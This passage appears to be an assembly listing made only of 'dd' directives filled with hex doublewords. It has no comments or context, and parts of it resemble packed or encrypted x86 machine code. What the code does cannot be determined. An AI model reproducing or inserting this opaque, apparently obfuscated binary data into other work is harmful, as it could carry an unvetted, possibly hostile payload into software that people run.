0C8BB55EFh, 1572C13Dh, 13A12232h, 15661132h dd 9C624EB1h, 1277F587h, 0E380CB34h, 0D5A7EECDh, 0CE38B31h dd 96604311h, 1266AF8Fh, 91691034h, 156688AFh, 0BFCC7AB3h dd 90698898h, 15661120h, 0D2624EB1h, 1566B874h, 0A5F12232h dd 1565F8DBh, 0A5F18832h, 0A8E514DAh, 13610E47h, 2BE21E33h dd 0AD668832h, 15664532h, 0E1BC9FB1h, 1A66173Fh, 156680B6h dd 76FBC932h, 0EA602F50h, 855991E1h, 156E0C3Dh, 0D2E54432h dd 1525CB37h, 0EDE51132h, 1FE48762h, 0A5664432h, 0BF3E88A2h dd 156635DBh, 95CCD032h, 1A8FBB4Dh, 15663AB7h, 0CFDB9232h dd 156085C6h, 156EC03Dh, 88EB2232h, 136B7301h, 52EE5BCDh dd 30E3CF36h, 3E60251Ah, 118E92F5h, 53A12599h, 156644CEh dd 0EA77CB32h, 0A0EFEECDh, 13619983h, 95662C60h, 150C2232h dd 382BA4CDh, 80998E35h, 13616FD7h, 54EBA968h, 0D2601632h dd 15668833h, 11A7C732h, 1527AFBBh, 58F1735h, 0FC9977C7h dd 15664296h, 54EBA952h, 9E601632h, 0C3EB013Bh, 946049C6h dd 51326C0Ah, 9E31E7Eh, 73668832h, 59623CB3h, 5E32D1Ch dd 9E661132h, 13A00BC2h, 0A9BC1B9h, 138F2435h, 9E661133h dd 26B603C2h, 155AE8FBh, 153BA63Dh, 385A1132h, 0EA890C3Dh dd 3B5ABBCDh, 155BA63Dh, 255A1132h, 14660A3Dh, 2C5A4432h dd 0EAB1A43Dh, 545AEECDh, 15960A3Dh, 4F5A4432h, 0EAA1A43Dh dd 4A5AEECDh, 0EAD90C3Dh, 745ABBCDh, 15BEA03Dh, 6F5A1132h dd 0EAC90E3Dh, 0DE8FBBCDh, 57662232h, 9169C709h, 156688F0h dd 8F8F0578h, 9099DDCDh, 0A6E21EFBh, 98668832h, 1261DD87h dd 9EACA934h, 0BB48A1C8h, 0EA9F0D3Dh, 0DA4DBBCDh, 0EC4DFBC5h dd 0B195E6B5h, 1599CFF4h, 12FFD1BFh, 90ED2435h, 136115DFh dd 906948B7h, 15664428h, 1CABA7F4h, 7D211735h, 0C1FC2FE0h dd 18FFF1CDh, 90EB2435h, 136C610Ah, 0EA3458CDh, 1AA6C1E2h dd 15661AB7h, 0E39A32h, 90608F3Dh, 0FE34BF2h, 0D3662232h dd 126FDCB7h, 0FC0EC434h, 0EABF9E2Eh, 126BBB87h, 2DE39C34h dd 0EA608242h, 0C59916E2h, 9069E2B7h, 15661137h, 1566A9DBh dd 0C3E3CD32h, 45602FC6h, 63E39C64h, 0EA608258h, 1AA64FE2h dd 156627B7h, 1562F832h, 51EF8832h, 0D6075816h, 0C3EBA952h dd 45601CC6h, 556549B9h, 9DF6CF0Eh, 9C662232h, 126A18A7h dd 159E8D34h, 45ED4432h, 0D0F3AB3Eh, 4D60161Bh, 3142CCB9h dd 905D8519h, 13610BF7h, 1576933Dh, 905D8832h, 1361483Bh dd 1562A13Dh, 0D7071132h, 0D2078836h, 15666036h, 51A12232h dd 15661516h, 10DE8832h, 98664432h, 122DB9BFh, 7587EE34h dd 0FC5A8EB8h, 1558C03Dh, 0FD5A2232h, 1524953Dh, 1A5A8832h dd 1574C03Dh, 0D85A2232h, 1559953Dh, 0FE5A8832h, 152FC03Dh dd 0D6072232h, 95674FB8h, 0EEE678D1h, 0FAE34BB2h, 9E99DDCDh dd 13A592ECh, 0FC64D631h, 15664426h, 96677CB9h, 9169EAC9h dd 1566881Bh, 4B659AB9h, 10A5A133h, 0EA99D8DBh, 4BD087CDh dd 3B8DC733h, 0EADAA63Dh, 1F8FEECDh, 95668832h, 1A98454Ch dd 0EA998FB7h, 0EA06F8CDh, 443077CDh, 0D5551361h, 95BEA89Eh dd 0EEE6E1D1h, 0F9E28742h, 29664432h, 30E22D3Dh, 29661132h dd 91E287DBh, 29664433h, 0E22DD9h, 29661130h, 64E287D1h dd 29664432h, 56E22DD0h, 4A661130h, 0D638D169h, 0E0C0C1F5h dd 1560243Fh, 0BEC1132h, 95966BB2h, 9069C4C9h, 0EA99DDD1h dd 38E39A7Ch, 9E608F2Ch, 124509A7h, 96B8A934h, 4B6517F1h dd 1ABEB330h, 15664CB0h, 1ABC1932h, 0EA99AFB4h, 96B9A3CDh dd 0B80042D9h, 0BEF58954h, 9C62D7B1h, 61EFAC0Eh, 0A0EF4816h dd 13610EB7h, 4B3F4A6Dh, 0FC624CB1h, 0EA99BE52h, 0E0C0A7F5h dd 1564173Fh, 0CBED8832h, 9568F23Dh, 9669A2CBh, 1566113Ah dd 0FC255131h, 1566443Fh, 0E299CBB2h, 0EA8790EBh, 3E668832h dd 38E3CFEBh, 9E60252Ch, 12455CA7h, 0D8DB0B34h, 14604334h dd 15C5A63Dh, 0CD5D1132h, 15FD0A3Dh, 0CF5D4432h, 0EA27A03Dh dd 9B8FEECDh, 0D2668832h, 1893E2B7h, 15662034h, 1AB89A32h dd 0ECE68684h, 1DE54BB2h, 16662232h, 188F52EBh, 95668832h dd 0CC91BBDBh, 1599C3B3h, 0CC4D1132h, 0B4B0DB9h, 80ED4235h dd 1361017Fh, 13ABACB1h, 1A678E35h, 15660CB6h, 1ABE1932h dd 156619B0h, 1ABCB332h, 0EA98A2B4h, 1AD66CCDh, 0A5689B98h dd 1A8708B2h, 3ECC8538h dd 118DA1EDh, 0D3E5BAA1h, 90D30130h, 0D260431Eh, 1260EFB7h dd 15661034h, 11A20B32h, 0D1E51D69h, 11A2A136h, 0EA9F66DBh dd 0FCD6C6CDh, 3EA0CF98h, 118EA1F5h, 11A29299h, 9638D169h dd 0D28F40F6h, 0D299DDCBh, 1893B7B7h, 15668D34h, 96B8CF32h dd 0B6526F1h, 0B4B94B9h, 80ED8E35h, 1361677Fh, 80DBA17Ch dd 14601637h, 14650C3Dh, 0CD5D4432h, 156EA03Dh, 0CF5D1132h dd 154D0E3Dh, 0A0EF4432h, 13610EB7h, 0E0C08CB9h, 49678E3Fh dd 0CB8F4816h, 4A662232h, 10F394F5h, 15678E35h, 4C3D4432h dd 11A2A16Ch, 0EA9EE6DBh, 0D8DB0BCDh, 14604334h, 15DDA63Dh dd 884D1132h, 1361961Fh, 7BBC9B9h, 0DE652435h, 0FCE5DE19h dd 0BF8F3837h, 0D1E5EFA3h, 4B3F7936h, 0FC62D5B1h, 0EA99711Ch dd 0E0C0C1F5h, 1564243Fh, 0CBED1132h, 95683E3Dh, 9669C4CBh dd 1566223Ah, 0FC25C831h, 1566883Fh, 0E299ADB2h, 0EA87A3EBh dd 3E661132h, 38E303EBh, 9E60432Ch, 12456FA7h, 0EA20F834h dd 90A177CDh, 136BB194h, 15662230h, 0A369CFB9h, 959F083Ch dd 156EC73Dh, 0CC652232h, 156BF871h, 0FCE68832h, 94BFB3CDh dd 1566DDD3h, 9EBF3A32h, 1278A5B7h, 58F3CF34h, 96602511h dd 1260DC8Fh, 91698934h, 0EA99BAFBh, 9769FA09h, 1566113Ah dd 93695209h, 0EA99B955h, 3EA8A97Ch, 108F92FDh, 84CC6182h dd 0EDEEAD99h, 13ECDDCDh, 9169F90Eh, 15668834h, 157EADCAh dd 9E352232h, 143812ECh, 0A5634BB1h, 0CA4DEEDAh, 8662C9B1h dd 0D3E54A99h, 44A57137h, 2960CF54h, 55E22DF1h, 29661132h dd 2DE287F9h, 29664432h, 2DE22DF0h, 29661132h, 25E287F8h dd 73664432h, 1A43DD0Fh, 156621B6h, 3B5BEE32h, 18E34BCDh dd 9F662232h, 0E5421374h, 9169280Eh, 15664411h, 2C8FDA6Bh dd 26661132h, 0C8FC9FBh, 0AC664432h, 15662231h, 15661EDBh dd 15603132h, 108F4432h, 0AC662232h, 15661135h, 98ED2CC1h dd 1361677Fh, 9069EBB7h, 15661134h, 362B3DBBh, 0EC3F4235h dd 13ED44F1h, 9169D20Eh, 15668857h, 0F6E69CB8h, 659DA2C2h dd 15FA953Dh, 0FC5A8832h, 1529C03Dh, 0FE5A2232h, 1521953Dh dd 0D75A8832h, 1559C03Dh, 0DE5A2232h, 1551953Dh, 28008832h dd 916961CDh, 1566221Fh, 9169DB0Eh, 15668817h, 9169A70Eh dd 15662250h, 0EA482C54h, 156B0D3Dh, 53EC4432h, 29960630h dd 13E21E92h, 0ED668832h, 15664BDBh, 58D3AB32h, 98601611h dd 183F1CAFh, 0ECB5BB34h, 53ED72F1h, 24E39822h, 4D608F38h dd 987A82B1h, 1246078Fh, 5165BC34h, 98CDAC16h, 124D2D8Fh dd 51658F34h, 0BE363516h, 362735BFh, 16CB4235h, 0BE4E0676h dd 9830D26Ch, 183FE5AFh, 0FCB5BB34h, 0FFFFFF95h, 0D24ECEDFh dd 0FD4AA86Ch, 51A2458Ah, 2EC0D5F2h, 96A44868h, 152AA8EDh dd 2429458Ah, 1957DFA0h, 5E917926h, 152A1E2Ch, 5E89798Ah dd 152A162Ch, 5ECA798Ah, 152A492Ch, 5E13798Ah, 152A382Ch dd 5EF2798Ah, 152A5C2Ah, 5EFA798Ah, 152A6B2Ah, 51D6AC8Ah dd 60D554A8h, 59D7BA86h, 0C85ACE25h, 0DCF14387h, 18F41332h dd 0D871BA8Ch, 42C3A8EDh, 0AEA2458Ah, 60D558DDh, 0D138C882h dd 462C5975h, 8FE5DF07h, 0C6D552A5h, 0B85E0003h, 0E9835492h dd 8BA4F305h, 0BA31E4CBh, 565DB1DAh, 0BC2FEB32h, 505AD0FBh dd 89113C52h, 0DDD3BC67h, 5163B977h, 0DF79F4B9h, 1331B575h dd 5A1A3822h, 0DFBAF4B9h, 9F36A175h, 36ABA1F0h, 5F1834F4h dd 5E98335h, 0F1B0A4F3h, 7AF29D11h, 0FB2375FDh, 77642017h dd 3FD525FBh, 3AADFDF5h, 2291782Ah, 7ACFB734h, 29B723ACh dd 7A1A20ADh, 277975FDh, 0A2CA987Ch, 0FFA073F0h, 7C22A33Ah dd 0E983C87Dh, 8BA4F305h, 0B2BD8DDBh, 8D060DF5h, 0E10998Dh dd 6644B806h, 0CF2B3215h, 3102E9C1h, 83C8D007h, 0F4904C7h dd 0FFFFF285h, 83C08BFFh, 71ACDBDh, 9750006h, 1135BD83h dd 74000607h, 8B535019h, 411B8C0h, 85890000h, 6072F81h dd 0AE279D8Dh, 0D3FF0609h, 0BD83585Bh, 6071135h, 50177400h dd 411B853h, 85890000h, 6072F81h, 0AAC89D8Dh, 0D3FF0609h dd 0C08B585Bh, 72A4F2BBh, 8EB46h, 0FF000000h, 0E96320B4h dd 4B1h, 0E133568h, 6B49E906h, 9F68FFF9h, 0E9060E13h, 0FFF96B3Fh dd 0E150568h, 6B35E906h, 0ACDDFFF9h, 0B1DD8419h, 0ACDA8116h dd 0A6D57C11h, 9CCF760Bh, 0C1D97409h, 0AD42D306h, 0A73CD906h dd 9E33CE00h, 9B30C7F7h, 17260CEh, 4C4395E0h, 0F92C6335h dd 6CF9ECA0h, 3CDDA035h, 69570795h, 49A31CF8h, 85867043h dd 642DC255h, 604EE4DCh, 47A2222Ah, 3ED704C5h, 0BD2AF69Dh dd 1439C11h, 58C33CEh, 0EC5D4BD3h, 37439C10h, 581CC364h dd 15BB7BC5h, 0F3E2E432h, 0D51FB6A0h, 1704AF52h, 0D3BD0551h dd 2D6DFh, 0C03E4300h, 68FEF67Eh, 0A2F8D07Ah, 31B88B47h dd 54C5B363h, 9F439CE8h, 76113DCCh, 64C36CFh, 0B87A02D0h dd 4EBFAD5Dh, 0B8463782h, 1DC7115Fh, 1EF17935h, 91891134h dd 0BF330DFBh, 7B4E4436h, 0ABA32BD4h, 0B6DB2715h, 0CFA23E2Fh dd 0C5609039h, 0BE598930h, 15ACB8E8h, 52D302F3h, 2F6h dd 9A2FC6F7h, 9328C7F3h, 8E23BEECh, 881DB8E7h, 7E13AEE1h dd 0DD10CBE3h, 0DB08AF44h, 0D406AD42h, 0D505AC41h, 72E0AD42h dd 95DF1384h, 75475E43h, 0F48A820Ah, 9A007506h, 57EDC047h dd 55EA7BAEh, 0D0FC7BAEh, 0E0E15240h, 592C4395h, 0D77811B8h dd 90AC6430h, 8C35B9FCh, 0DDDEC859h, 0CE441AADh, 34FA61D2h dd 28C8405h, 5C8D0000h, 618D34C9h, 5C8A31C6h, 56852CC1h dd 4C7F26BBh, 718924B9h, 5DF283B6h, 57EC89B6h, 4EE37EB0h dd 4BE077A7h, 0B122107Eh, 0FC4395DFh, 820A13E5h, 2CD36E9Ch dd 0DDC22A93h, 0E8BB3086h, 7E01B147h, 78263022h, 70B6A0D0h dd 4799DFDFh, 9928F2Ah, 653A1BB4h, 5DF69D38h, 0A8741BBCh dd 4395BF3Bh, 86BB8568h, 9C2FD403h, 4F70D96Ch, 0BC15FFB4h dd 1FBD6919h, 192C3h, 0FC2C2700h, 0B3BC269h, 860ED76Ch dd 33D46DA0h, 805AF9Dh, 0EDC047A3h, 0D70D7A46h, 2351439Ch dd 2E5AE188h, 0CA0844C7h, 0A1636Dh, 8A5D259h, 8C88964Fh dd 0B33503E6h, 1FB5D922h, 36B8h, 820A1C00h, 0C144F48Ah dd 59AB962Bh, 85CBB541h, 47A25D03h, 0B74B7720h, 9C3C58C9h dd 2FD0A343h, 0D1784B45h, 9C3C9805h, 54E2C543h, 0B6764392h dd 0AF991Fh, 2CFD0000h, 34C269FCh, 17BE598Bh, 6093947Eh dd 0E0901EC5h, 0A3F281F2h, 0FF9CC49h, 0A047DE0Eh, 0B94EE919h dd 0A3EE36CDh, 1196C649h, 12A748E3h, 33C9C149h, 9C52BB45h dd 8D23F647h, 427EEFDDh, 2EC9439Ah, 0FA46DEE2h, 0CBB55673h dd 4EE71AC3h, 0A91A08B8h, 0F4439A31h, 45DBB821h, 5450FA4Bh dd 89BC636Ah, 201AB830h, 20C15951h, 66C3E24Ah, 60E110FAh dd 126h, 0CA5FF627h, 0C358F723h, 0BE53EE1Ch, 0B84DE817h dd 0AE43DE11h, 0D40FB13h, 0B38DF74h, 436DD72h, 535DC71h dd 0A210DD72h, 95DD43B4h, 0A5778E43h, 0D368F92Ch, 0D469FC2Ch dd 69FC2C62h, 6C0B3BC2h, 0C6860ED7h, 0B9E9267Fh, 8871B51Eh dd 847208A9h, 47A274B0h, 43DE10B9h, 0F68C5F59h, 0F2871A4Dh dd 9BE49906h, 0C253D643h, 31762485h, 83B3B49Eh, 6ACB4EE4h dd 50C1AF3Dh, 9B439BBBh, 0C1825FC8h, 6D1B220Ch, 160091C4h dd 3161E215h, 3FE079A8h, 8F76F79Eh, 0B0000000h, 92255700h dd 0D7E52EBh dd 58439BBEh, 0ACF9B85h, 0D46D9C82h, 5DF3942Dh, 40D104ADh dd 8B1056h, 0F3C6479Ah, 295C54Ch, 0FF96C66Dh, 5ACBB969h dd 0A54395E0h, 761DB8E4h, 60D33CDDh, 0F06E0646h, 0DBA7C0AAh dd 20AB3E6Ah, 0E650DE71h, 0E38A1FB6h, 62F326B3h, 0DA8122BBh dd 6B9B2453h, 0D74836CCh, 22DE673Eh, 9C07AE4Fh, 2B5BC553h dd 2050F78Ch, 2FD06797h, 140788h, 257D0000h, 9ECB4C7Ch dd 1EBF58FFh, 25F4DE77h, 962F5E07h, 0FB2CE0ACh, 0C3CC36Ah dd 194BD279h, 2350D77Eh, 295CE38Ah, 376AF198h, 4170F79Eh dd 4C7A01A8h, 57830AB1h, 686711B8h, 7750h, 68241489h, 663Eh dd 68241489h, 429Ah, 68242C89h, 62F7h, 0B8240489h, 6D5F646Eh dd 9128422Dh, 3E0C103h, 9C30EF05h, 58C289B7h, 119368h dd 24248900h, 4240481h, 5D000000h, 38ED68h, 24148900h dd 0C3243481h, 8F025B78h, 75810845h, 5B78C308h, 242C8B02h dd 81E78957h, 4C7h, 4C78100h, 87000000h, 0FF5C243Ch, 815A2434h dd 4C4h, 66B1E900h, 42F3FFF9h, 0CA7D280Ah, 0C3D9078Fh dd 0E3FB2898h, 1650B80Fh, 0C503060Eh, 7923E0FFh, 0B2704F94h dd 51D81765h, 0A6677B52h, 4EB6AD5h, 45F2F05Dh, 574E9h dd 60F52600h, 5DF824CBh, 58F321C8h, 54ED1CC3h, 4CE518BFh dd 49041CB7h, 3FE67B16h, 37DE7312h, 36DD7205h, 0DDA6F06h dd 0DB40B19Fh, 748B4395h, 69FC2CA2h, 0C43523D3h, 0F49A3F2h dd 0B239523Ch, 0AA51E67Fh, 0AD34DB7Ah, 0BC43EA7Dh, 0C74EF590h dd 0D45B0295h, 0B6670EA7h, 27F333FDh, 6C9C8A94h, 3F2DBDEBh dd 49A3F2CEh, 4A54619h, 0D96C86Fh, 0DA243DEh, 0FAA13466h dd 0FA95C36Ch, 0CFD0BA53h, 0C46D03A2h, 0BF58FF92h, 851BCD5h dd 0B059093Eh, 9E0FE37Eh, 0E949A3F2h, 0F92B2C16h, 6B1BC95Eh dd 0A3F20C7Dh, 8A235049h, 44452F02h, 0EDA8114h, 49A3F2A0h dd 0E4D28288h, 49A3F273h, 9708F6BEh, 0E249A3F2h, 0EAD86E0Fh dd 49A3F279h, 0AC07F1C4h, 0C0795C62h, 586319AEh, 0C7000000h dd 0C269FC2Ch, 0A3F28BF6h, 0C0696F49h, 0B54EF590h, 20A670CBh dd 19AEBFB5h, 127h, 2C8B00h, 0E677649Dh, 0C8697D2Dh, 0CF6E9A21h dd 179A28h, 55E866DBh, 16454630h, 7D10D47Bh, 0BE5985B3h dd 0A5D27B29h, 0ED1D1E08h, 9417C55Ah, 59ED3A7Dh, 4AE5131Ch dd 2CF3BFA9h, 22D268F9h, 0A3F2C334h, 58460E49h, 49A3F1E7h dd 0D4BE5F32h, 6D0834BBh, 65002ED7h, 223B25BEh, 0C06EB871h dd 0DB5EF48Dh, 316883FEh, 707761BFh, 57FE99C9h, 0BA2B19C9h dd 2449A32Ch, 9E83AAC3h, 15E87092h, 61FC2A2Bh, 6A0533BAh dd 0D64735C3h, 2149A306h, 0F493BF4Eh, 60D1BF4Dh, 0AB49A306h dd 0D8661FD8h, 45D3B65Ch, 0AFAA6283h, 739819h, 25FC0000h dd 23B94C7Ch, 0A3F2C435h, 523C0F49h, 0DC831E51h, 0DE79A54Eh dd 0B3B49E37h, 7F43EA85h, 0C1F422ECh, 0BFF19A30h, 0FAE47D24h dd 88194CF3h, 922B5AE1h, 842353FCh, 415A44DDh, 7076C0A3h dd 19AEBE75h, 4867h, 0B8E68F00h, 2C67331Dh, 3AC168F9h dd 56C66D08h, 0E215BE6Eh, 3B0FA84Fh, 49A3F2CAh, 0A5174534h dd 0B840E4D6h, 96A0FBE5h, 47DC75A8h, 65002CD5h, 0F284F2BEh dd 136C49A3h, 386B1405h, 7B5AB39Dh, 6119AEC0h, 1, 497C25C5h dd 5CFD98CAh, 31321CB5h, 22D26803h, 0A3F2C334h, 513B0E49h dd 0E681B138h, 0BD8BD43Fh, 35CA6593h, 56ECE46Ch, 40E77AADh dd 0F253C4B2h, 0CB9E49A3h, 4A38402Ah, 47A309D0h, 0EA7118EBh dd 63FE2DBAh, 0ED8223BCh, 0CB6A963Fh, 15B0E0E1h, 0D937A26Eh dd 538E439Ch, 7BAB54C5h, 871A4DDCh, 5C5D47E0h, 5D04992Ch dd 65F39A2Dh, 120090BCh, 439CD9A1h, 8E7819ECh, 23CA5D8Dh dd 0C16FB972h, 3DD80891h, 0CD08079Ch, 0FB1FB5D8h, 9BB5AB78h dd 0B6A0316Eh, 141C2h, 820A2600h, 1B4BF48Ah, 523CD57Ch dd 0F9AE5C4Ah, 0A67947A2h, 815D8D10h, 0A94981FDh, 9518A6BFh dd 11516721h, 4211B919h, 0ED734579h, 3161624Ch, 2A5A0196h dd 0B6E56E9Dh, 3AD37A1Bh, 3B6BF299h, 42E97CAEh, 4EE71AA9h dd 9C5506ADh, 0C8F49D92h, 3ED862Dh, 9E33D202h, 0B64A369Fh dd 43A41Fh, 0A080000h, 0BF98F83h, 49A3F2EAh, 8D1BC295h dd 0B8EFD00Ah, 0BDA74767h, 0A3C10677h, 3AC2A49h, 0DAD470D7h dd 0FBCDD3B4h, 2CB35Ah, 8425BE65h, 25F13F9Ah, 2614AA9Eh dd 49A3CC05h, 0A748DDB0h, 9Eh, 8A820A1Dh, 0EE9406F4h, 0CDF47A2h dd 5A0CD76h, 0C8B24376h, 5DF828AFh, 7C6A1AC8h, 439CEE0Bh dd 0E38A1D4Fh, 5EFC24Ah, 9A41D404h, 9CEE16CEh, 0DE77A643h dd 0E37EB037h, 5BE5783Ch, 1E2863DBh, 0D0650030h, 6A997F07h dd 0EE8F28CFh, 7C85D558h, 8AF392BFh, 947E02D2h, 7FE49E8Ch dd 0AC7F4192h, 0B74E7E05h, 0D25CA510h, 1B59DA5Dh, 257D450Dh dd 3528E326h, 523CDD73h, 19AFA72Fh, 250A7B69h, 82553D8Eh dd 0E8A29098h, 753B842Eh, 1C069FCCh, 0CBA4F22h, 0DFD6E5Ch dd 75483780h, 820ABF8Bh, 4C06F48Ah, 0E74799FCh, 0E4E9844Ch dd 0CC6D0D25h, 0C2EE9725h, 8383923h, 7A2AD86Dh, 957C1B8Ch dd 78A56643h, 51523CDDh, 13DF8621h, 5F92048h, 943BD608h dd 9D44DF0Dh, 0DF5FE932h, 0FC2AD313h, 3721BA61h, 0B4E452DCh dd 5BDE8C21h, 0F3944A32h, 30311B59h, 30BE6500h, 1F219280h dd 996CFF98h, 0E67FAEAFh, 0EF8AB83Fh, 0F994C148h, 5EE8A152h dd 14226BDEh, 0C65BFA2Ah, 90BF6818h, 0E1B54EF5h, 0FF981F70h dd 0FDFEE8BBh, 12933ACDh, 13h, 90405E88h, 4A1EB9E7h, 49A3F2D9h dd 90C25124h, 2C3F0BF5h, 3CC36AFBh, 4BD2790Ch, 50D77E19h dd 5CE38A23h, 6AF19829h, 70F79E37h, 7A01A841h, 830AB14Ch dd 6711B857h, 81E28952h, 4C2h, 4EA8300h, 5C241487h, 68241C89h dd 6126h, 51241489h, 0C181E189h, 4, 8704E983h, 895C240Ch dd 0BD55241Ch, 25EB3A8Bh, 43FFCD81h, 0B95156B6h, 22611126h dd 5E1C141h, 7627C181h, 0CD0141ECh, 5DEA8959h, 566D68h dd 24248900h, 4240481h, 5B000000h, 89D78957h, 3C8B087Bh dd 4C48124h, 8B000000h, 8953241Ch, 4C381E3h, 83000000h dd 1C8704C3h, 148B5C24h, 0E6895624h, 4C681h, 0C6830000h dd 24348704h, 610DE95Ch, 7298FFF9h, 1BDDB8DEh, 0C503060Eh dd 0B655E0FFh, 998164E7h, 0DBC739E7h, 0D0FE701Bh, 66155AA6h dd 104804A4h, 6C7D2BECh, 3AAA48F0h, 0AB5C1BB6h, 7CB146D4h dd 56FA159Ch, 0FE196B68h, 11F51335h, 0C73F41A3h, 6FF92A06h dd 9E86B0Eh, 6D000000h, 0E95620E8h, 9CDF80AAh, 5FD2B70Fh dd 81F0B70Fh, 6ADDC7h, 0EE900h, 2AE20000h, 0C118447Ch dd 454407D4h, 0F7023F78h, 0DB80C02Bh, 70C8B72h, 5EF08B53h dd 1E17E981h, 13E92824h, 6000000h, 7C3611CEh, 3F71ED0h dd 76A52C50h, 4F4688D0h, 0E981272Ah, 23ECD5CBh, 14880F57h dd 0E9000000h, 0Fh, 24283B3Dh, 5C7405F0h, 97A2655Bh, 5B2CBBDAh dd 0B70DF181h, 9E873BCh, 35000000h, 4BD64502h, 2BFB300Dh dd 515BF08Bh, 8FDFB70Fh, 66F80704h, 22BEDB81h, 0E904E881h dd 8B667F6Dh, 0C081F1h, 0E87F6DE9h, 6, 849313DEh, 8A0FCBD8h dd 2, 815EF08Bh, 0FF9618F8h, 10850FFFh, 0F8000000h, 2BE9h dd 55057300h, 0D4173396h, 0E9DE930Dh, 10h, 3577C700h dd 6673B013h, 826B61CCh, 0A64F239h, 0FFFF3CE9h, 943161FFh dd 5E66A5DCh, 94A804EBh, 4FE91A45h, 64000005h, 660DA233h dd 5F069B3Ah, 5A019631h, 56FD922Bh, 62FD9223h, 0C95C8F4Ah dd 0C5608D34h, 0BC578930h, 0B5508027h, 0F7E55320h, 4395D586h dd 2CE8BAD1h, 23D369FCh, 0A3F2C435h, 0A2130149h, 0ED49A3F2h dd 0A3D1921Ah, 27C86108h, 0F232A391h, 0AA7D49A3h, 0ED20A7C0h dd 0E818BF54h, 0DB0EB74Dh, 55C6B44Ah, 0A049A3F2h, 43CAE3CDh dd 3FCD7413h, 753F15BCh, 22B8407Eh, 0A339C334h, 513B0E49h dd 0E2892450h, 8CBD8B1Eh, 2D17B6E3h, 0D469FC2Ch, 0F24D7D26h dd 763EAE5Ah, 1701A2E1h, 0BB51E416h, 5D47E612h, 0EA7DAF56h dd 0F68FBC43h, 29BC84Fh, 11A4D45Bh, 24F2C36Ah, 7110E920h dd 49EA3B38h, 345DE0D6h, 21D99687h, 6106B55h, 9F3A6811h dd 0EF82B4B5h, 0A29AC5Ah, 83843CA7h, 0B1E1E2CCh, 35A36F16h dd 1D49A330h, 61747AC4h, 6719AF82h, 53FA8BBEh, 64DCD0BAh dd 40000000h, 8145A225h, 0B5A68D11h, 0FB9ACACBh, 0F01DC654h dd 0BC0AEC55h, 4862C86Ah, 20AD185Eh, 389149A3h, 91EDE8EEh dd 1EF19AFh, 53000000h, 0BE65002Ch, 0C56C0B37h, 0CF760F3Eh dd 2A48CB0Bh, 0CE9EA2C8h, 20C15484h, 21C86391h, 0F5439E88h dd 0EB801F4Bh, 0EB811444h, 39C2E768h, 32CB720Dh, 80984EC9h dd 2C1D8F96h, 3AC168F9h, 41C86F0Eh, 49D07712h, 6FDA811Ch dd 631C1826h, 8C2554FDh, 4FF947A2h, 4DF4891Ch, 32BFC21Dh dd 40B6E047h, 37D87914h, 40DB0990h, 0E18FB99h, 6F239619h dd 78873843h, 220CAD48h, 0AFAE1CC9h, 0D401AA19h, 0DE77AA39h dd 0C0B49E37h, 7Eh, 0D94A38E8h, 1649A2F8h, 0A2F8B728h dd 0A72F0249h, 2C1EEAD4h, 3AC168F9h, 6CA710Ch, 487BA573h dd 0F259CAB8h, 0D1A449A3h, 44ED9B30h, 93947E17h, 901EC560h dd 3620B7E7h, 0C46B0635h, 0F3F54326h, 19AEBDF2h, 5AE8h dd 39671000h, 745EF79Eh, 7AF92CA8h, 6A11B24Bh, 6F16B1E3h dd 781FBAE8h, 0C561A117h, 0C9BB273h, 3E9F46DFh, 85C3D143h dd 6720D9E0h, 0AAE55DD9h, 0E67FB29Ch, 2CDF51h, 8730BE65h dd 7D16BD58h, 0F2DF4D93h, 6EC749A3h, 94C66FA0h, 0D7C15A01h dd 0AEC0577Eh, 18519h, 2CE90000h, 35BC63FEh, 33DC7205h dd 26BF6601h, 6FB8233Ch, 0E64977A1h, 0E1D53071h, 23B859CCh dd 44DAD25Ah, 0AD062DC1h, 4BDAA3B0h, 3ED77E19h, 0E45E4C54h dd 0FF47A227h, 47F7852Ch, 1D9DADC4h, 0A1759DADh, 439C1B30h dd 0BDBEA87Bh, 43DE0C8Dh, 36660DA2h, 0E76AF89Fh, 0C18DA4B9h dd 2A00690Bh, 57833234h, 107BC1ABh, 50439C6Ah, 5AE18821h dd 79E9902Dh, 0BC34F03Eh, 5989B781h, 528229BEh, 55850CB3h dd 0B16A1BC2h, 0EE89B967h, 6E28AB59h, 0AD72DE4Fh, 0A91A089Eh dd 0F4439C5Bh, 0F7DE3721h, 0E51FB656h, 11Bh, 8A820A49h dd 0FA5806F4h, 502347A2h, 65F222A9h, 62FBA235h, 55852CC1h dd 0E96EDFCDh, 0E6B9439Ch, 0E7179E45h, 0F022A950h, 0F427AE55h dd 8A94473h, 68B6F161h, 0EC3AF3ACh, 0DE731242h, 0B5C8F6DFh dd 60E41Fh, 25480000h, 0CFB94C7Ch, 9B3125ACh, 0F28CFDEBh dd 0DBC949A3h, 49A3F26Ah, 995AE2B5h, 912AD16Ch, 10FE06F0h dd 49A3F2EFh, 5420C79Ah, 49A3F2E3h, 0B65DF827h, 0BF66012Fh dd 59BCF55Eh, 8D00D28Eh, 8B3AFA44h, 19A06CBAh, 80A18F25h dd 2B49A3CFh, 8022C358h, 5C000000h, 42E984B3h, 51EC1AA9h dd 820A9B67h, 5644F48Ah, 49A3F1E5h, 0A6416F30h, 36C566FFh dd 7F877104h, 0A2ED1F91h, 0F0976A47h, 99E3969h, 0EC933262h dd 9CED6820h, 30C9F843h, 35D00289h, 3766F58Eh, 438CF79Eh dd 86C139F5h, 0C75E8EB8h, 0E9E16932h, 0FE6D6553h, 0B1844192h dd 0A4D37C0Ah, 0EE1E1F09h, 0FC45B057h, 625AE232h, 0E0E6DECCh dd 2AFD3B84h, 2ABEEB94h, 80B0CB3Ch, 0A2431637h, 253FB1B8h dd 0D10C85A2h, 48323C00h, 0FA59D25h, 995C2921h, 94823247h dd 43952C23h, 0B7B19B6Eh, 72A54EE4h, 0B66A9017h, 630494CCh dd 0A9D96079h, 9FCF780Eh, 0DEC86108h, 4D8029D7h, 60F325B4h dd 353620B9h, 33DC7205h, 657E6807h, 4F6D0899h, 0B27C0F57h dd 2CC15484h, 1BC25585h, 25CC6594h, 30D76E9Eh, 38DF7AA9h dd 83838DC8h, 0CF79C710h, 0CC73089Fh, 0E162099Ch, 3, 2C7C5E57h dd 3CC36AFBh, 4BD2790Ch, 50D77E19h, 5CE38A23h, 6AF19829h dd 70F79E37h, 7A01A841h, 830AB14Ch, 6711B857h, 81E18951h dd 4C1h, 4BE5600h, 29000000h, 0C875EF1h, 0A4685C24h, 8900006Bh dd 5468240Ch, 89000007h, 3FB9242Ch, 814E6C1Bh, 0A5650BF1h dd 8AE1812Fh, 416CED49h, 3C40BD55h, 0E9314C17h, 81D9F75Dh dd 2F9677F1h, 